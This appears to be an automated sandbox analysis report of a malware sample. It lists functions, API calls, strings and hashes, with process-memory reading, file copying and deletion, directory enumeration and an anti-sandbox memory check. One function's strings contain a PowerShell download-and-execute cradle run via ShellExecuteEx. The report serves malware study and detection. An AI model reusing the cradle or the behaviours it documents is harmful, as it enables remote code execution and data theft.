Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 525e96ac9f68bb1e385b36e47090da98a0ef9a1698a14b7f5a5138d390f6750c
Instruction ID: 9bccb4d37e88352bd342e74b92a79a764fb3ddc235490c160eda478cd1c3264c
Opcode Fuzzy Hash: 525e96ac9f68bb1e385b36e47090da98a0ef9a1698a14b7f5a5138d390f6750c
Instruction Fuzzy Hash: C8018835A816219BC721AB6AACC57DE7B60BF04714F55412BE80467790C73CA9C1CBDD

Function 0249D767 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0249D7E8
lstrlen.KERNEL32(00000000), ref: 0249D9FF
lstrlen.KERNEL32(00000000), ref: 0249DA13
DeleteFileA.KERNEL32(00000000), ref: 0249DA92

Strings

`Q~, xrefs: 0249D77D, 0249D782

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Q~
API String ID: 211194620-2743804444
Opcode ID: c95315d137aedd934db08a2c32def760d310641930853bc4b112f3c5134ffc66
Instruction ID: 05e0e75fc388e331b2865d87f39200f2f1f7f66242bc29a73ea7b36dac3c989f
Opcode Fuzzy Hash: c95315d137aedd934db08a2c32def760d310641930853bc4b112f3c5134ffc66
Instruction Fuzzy Hash: 9691EEB2D002289BCB18FBA5DCA4DEE773AAF34305F50456EE55676090EF346A48CF61

Function 0040D500 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D581
lstrlenA.KERNEL32(00000000), ref: 0040D798
lstrlenA.KERNEL32(00000000), ref: 0040D7AC
DeleteFileA.KERNEL32(00000000), ref: 0040D82B

Strings

`Q~, xrefs: 0040D516

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Q~
API String ID: 211194620-2743804444
Opcode ID: 4851309785d76889af4fa5537aa55556432bb3b301c043e65d708dbe27b3b903
Instruction ID: cd95120e3309aa2a4ee5e09d67847ecab6e8b781cb92854c7d2ac691bd2160a2
Opcode Fuzzy Hash: 4851309785d76889af4fa5537aa55556432bb3b301c043e65d708dbe27b3b903
Instruction Fuzzy Hash: CF911672E111089BCB04FBA1EC66DEE7339AF14314F50456EF11672095EF387A98CB6A

Function 0249DAE7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0249DB68
lstrlen.KERNEL32(00000000), ref: 0249DD06
lstrlen.KERNEL32(00000000), ref: 0249DD1A
DeleteFileA.KERNEL32(00000000), ref: 0249DD99

Strings

`Q~, xrefs: 0249DAFD, 0249DB02

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Q~
API String ID: 211194620-2743804444
Opcode ID: f963ddadb7543677bfe67c8cf6937e88a8e6e15d5c44649ac160fab5f8c80baf
Instruction ID: 2184e79dfa3bee09f49b51d4fec322cedca3bc8052b071ac54b0be9a172e38e3
Opcode Fuzzy Hash: f963ddadb7543677bfe67c8cf6937e88a8e6e15d5c44649ac160fab5f8c80baf
Instruction Fuzzy Hash: 1D81F5B2D001289BCB18FBA5DC64DEE773AAF74305F50456FE556A6090EF346A08CF61

Function 0040D880 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Strings

`Q~, xrefs: 0040D896

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Q~
API String ID: 211194620-2743804444
Opcode ID: e8d8e1f33d4a5f7cfbcf0c88858b413f07c9fc76f6760b01def62a9a24c8dc15
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: e8d8e1f33d4a5f7cfbcf0c88858b413f07c9fc76f6760b01def62a9a24c8dc15
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 024A73E7 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 024A7406
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,024A7681,00000000,00420BB0,00000000,00000000), ref: 024A7434

Part of subcall function 024A70B7: strlen.MSVCRT ref: 024A70C8
Part of subcall function 024A70B7: strlen.MSVCRT ref: 024A70EC

VirtualQueryEx.KERNEL32(024A77F4,00000000,?,0000001C), ref: 024A7479
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,024A7681), ref: 024A759A

Part of subcall function 024A72C7: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 024A72DF

Strings

@, xrefs: 024A748D

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: 92e6ee336945ac4f0ba4a886dedcd72aff661a6b0ec89bc55a38402ea7a64fc2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: EC51E6B5E00109ABDB14CF99D991AEFB7B6BF98300F108519F919A7340D734EA51CBA1

Function 00417180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0041719F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041741A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004171CD

Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E61
Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E85

VirtualQueryEx.KERNEL32(0041758D,00000000,?,0000001C), ref: 00417212
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041741A), ref: 00417333

Part of subcall function 00417060: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00417078

Strings

@, xrefs: 00417226

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: d4c246fcbb90b677cbfa603dc812bd51b07a2c71a26f71c1c9cdc23e16c3c5e2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: CD5106B5E04109EBDB08CF98D981AEFB7B6BF88300F148159F915A7340D738AA41DBA5

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6
zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction ID: 56bd16fc9bcf92c18956b4b249a59c76870f8c01999fa8d2962da2cd55bb9a52
Opcode Fuzzy Hash: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction Fuzzy Hash: C571D874A04109DFDB04CF48C494BAAB7B1FF88305F158179E84AAF395C739AA91CF95

Function 024A4C37 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,006D6D0C), ref: 024A4C92

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

lstrcat.KERNEL32(?,00000000), ref: 024A4CB8
lstrcat.KERNEL32(?,?), ref: 024A4CD7
lstrcat.KERNEL32(?,?), ref: 024A4CEB
lstrcat.KERNEL32(?,006D6C84), ref: 024A4CFE
lstrcat.KERNEL32(?,?), ref: 024A4D12
lstrcat.KERNEL32(?,006D6CC8), ref: 024A4D26

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024A9187: GetFileAttributesA.KERNEL32(00000000,?,02491DFB,?,?,0042577C,?,?,00420E22), ref: 024A9196

Part of subcall function 024A4A27: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 024A4A37
Part of subcall function 024A4A27: RtlAllocateHeap.NTDLL(00000000), ref: 024A4A3E
Part of subcall function 024A4A27: wsprintfA.USER32 ref: 024A4A5D
Part of subcall function 024A4A27: FindFirstFileA.KERNEL32(?,?), ref: 024A4A74

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 91df7f0c7e554cb1d3044ee6f87cd087b154477ead0d8d2d1c74f8365ca17e83
Instruction ID: 44dc01652ec47a3552eef772eb89359278711a0248e27731b4cf7469e9004e3b
Opcode Fuzzy Hash: 91df7f0c7e554cb1d3044ee6f87cd087b154477ead0d8d2d1c74f8365ca17e83
Instruction Fuzzy Hash: 283142B2D0021C67DB14FBB0DC94EED737AAF68700F44468EB64596090EA749BC8CF91

Function 00412EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00412FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412F14
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412F54
<, xrefs: 00412F89
')", xrefs: 00412F03

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0fd2bc11cf354211ee5e60997fc017786dffc9b2a59562411ed6114c3a3b1e29
Instruction ID: fa4238ec13a9909d2a06eabaeedbec9afd3c4d5d27ba3f2f176ac5e057c61c04
Opcode Fuzzy Hash: 0fd2bc11cf354211ee5e60997fc017786dffc9b2a59562411ed6114c3a3b1e29
Instruction Fuzzy Hash: DB415E70E011089ADB04EFA1D866BEDBB79AF10314F40445EF10277196EF782AD9CF99

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,007DD6C0), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: a663d27af1db11ea6e0538481b6c1ec1bf0866bdd2edd05cd7ef4aaec1a8ff54
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: a663d27af1db11ea6e0538481b6c1ec1bf0866bdd2edd05cd7ef4aaec1a8ff54
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 024A7D77 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 024A7DA7
RtlAllocateHeap.NTDLL(00000000), ref: 024A7DAE
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 024A7DBB
wsprintfA.USER32 ref: 024A7DEA

Strings

x\~, xrefs: 024A7DDF, 024A7DE5

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: x\~
API String ID: 377395780-68202137
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: 900eb903caed744252c8802d00dd61f5594bd7dff0c1a167dd24808535e2f946
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: 00112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E2395940C7B5

Function 00417B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
wsprintfA.USER32 ref: 00417B83

Strings

x\~, xrefs: 00417B78

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID: x\~
API String ID: 1243822799-68202137
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: c3980473cd5af67d898b1e7796d4e9c7fbcb3b6a311921eeb92eb57329937120
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: D4112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E3395940C7B5

Function 02491487 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 024914A5
__aulldiv.LIBCMT ref: 024914BF
__aulldiv.LIBCMT ref: 024914CD
ExitProcess.KERNEL32 ref: 024914FB

Strings

@, xrefs: 0249149A

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 09dc0442372abbe8ee68d87b86715876cf1ed8512d6e3a21e5a1f60fc750a724
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: A0016DB0D44309FAEF10DBD0CD89B9EBB79AB0470AF20844AF60DB62C0D77495418B56

Function 0249A7C7 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0042124C,00000003), ref: 0249A7E4

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

memcmp.MSVCRT(?,004210FC,00000003), ref: 0249A839
memset.MSVCRT ref: 0249A872
LocalAlloc.KERNEL32(00000040,?), ref: 0249A8CB

Strings

@, xrefs: 0249A87B

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @
API String ID: 631489823-2766056989
